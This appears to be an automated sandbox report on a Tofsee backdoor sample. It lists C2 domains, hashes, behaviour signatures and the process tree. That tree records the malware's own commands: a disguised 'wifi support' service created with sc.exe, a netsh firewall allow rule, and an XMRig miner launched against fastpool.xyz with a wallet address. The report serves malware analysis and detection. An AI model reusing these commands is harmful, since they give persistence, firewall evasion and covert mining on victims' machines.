Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/01/2023, 12:10

General

  • Target
    file.exe
  • Size 320KB
  • Sample230107-pb2hgsde38
  • SHA256 88c3524e5be3489c47892d0020cdf804b55d2d9f6f28574e61efe008b7bfd09e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4876
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\laswfkaj\
      2⤵
        PID:1476
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hsotkdpe.exe" C:\Windows\SysWOW64\laswfkaj\
        2⤵
          PID:2288
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create laswfkaj binPath= "C:\Windows\SysWOW64\laswfkaj\hsotkdpe.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4712
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description laswfkaj "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3172
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start laswfkaj
          2⤵
          • Launches sc.exe
          PID:3516
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4748
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4876 -s 1040
          2⤵
          • Program crash
          PID:4788
      • C:\Windows\SysWOW64\laswfkaj\hsotkdpe.exe
        C:\Windows\SysWOW64\laswfkaj\hsotkdpe.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3892
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4944
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1124
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3892 -s 560
          2⤵
          • Program crash
          PID:964
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 4876 -ip 4876
        1⤵
          PID:1984
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3892 -ip 3892
          1⤵
            PID:2380

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                hsotkdpe.exe

                • Path C:\Users\Admin\AppData\Local\Temp\hsotkdpe.exe
                • Size 13.9MB
                • SHA256 7a9e4c3991b683ce5c283a9e2c09f1c8345c4e927c7e4e90dfd3fb6f7f1f1c6a
                • MD5 SHA1 SHA512 SSDEEP

                hsotkdpe.exe

                • Path C:\Windows\SysWOW64\laswfkaj\hsotkdpe.exe
                • Size 13.9MB
                • SHA256 7a9e4c3991b683ce5c283a9e2c09f1c8345c4e927c7e4e90dfd3fb6f7f1f1c6a
                • MD5 SHA1 SHA512 SSDEEP

                memory/1124-173-0x0000000000A00000-0x0000000000AF1000-memory.dmp

                memory/1124-178-0x0000000000A00000-0x0000000000AF1000-memory.dmp

                memory/3892-148-0x0000000003229000-0x000000000323F000-memory.dmp

                memory/3892-150-0x0000000000400000-0x0000000003013000-memory.dmp

                memory/3892-152-0x0000000000400000-0x0000000003013000-memory.dmp

                memory/4876-143-0x000000000304D000-0x0000000003063000-memory.dmp

                memory/4876-144-0x0000000000400000-0x0000000003013000-memory.dmp

                memory/4876-135-0x0000000000400000-0x0000000003013000-memory.dmp

                memory/4876-132-0x000000000304D000-0x0000000003063000-memory.dmp

                memory/4876-133-0x0000000004C20000-0x0000000004C33000-memory.dmp

                memory/4944-146-0x0000000001210000-0x0000000001225000-memory.dmp

                memory/4944-156-0x00000000013E0000-0x00000000013E6000-memory.dmp

                memory/4944-159-0x00000000013F0000-0x0000000001400000-memory.dmp

                memory/4944-162-0x00000000025E0000-0x00000000025E5000-memory.dmp

                memory/4944-165-0x0000000007E00000-0x000000000820B000-memory.dmp

                memory/4944-169-0x00000000025F0000-0x00000000025F7000-memory.dmp

                memory/4944-168-0x0000000001210000-0x0000000001225000-memory.dmp

                memory/4944-153-0x0000000002E00000-0x000000000300F000-memory.dmp

                memory/4944-151-0x0000000001210000-0x0000000001225000-memory.dmp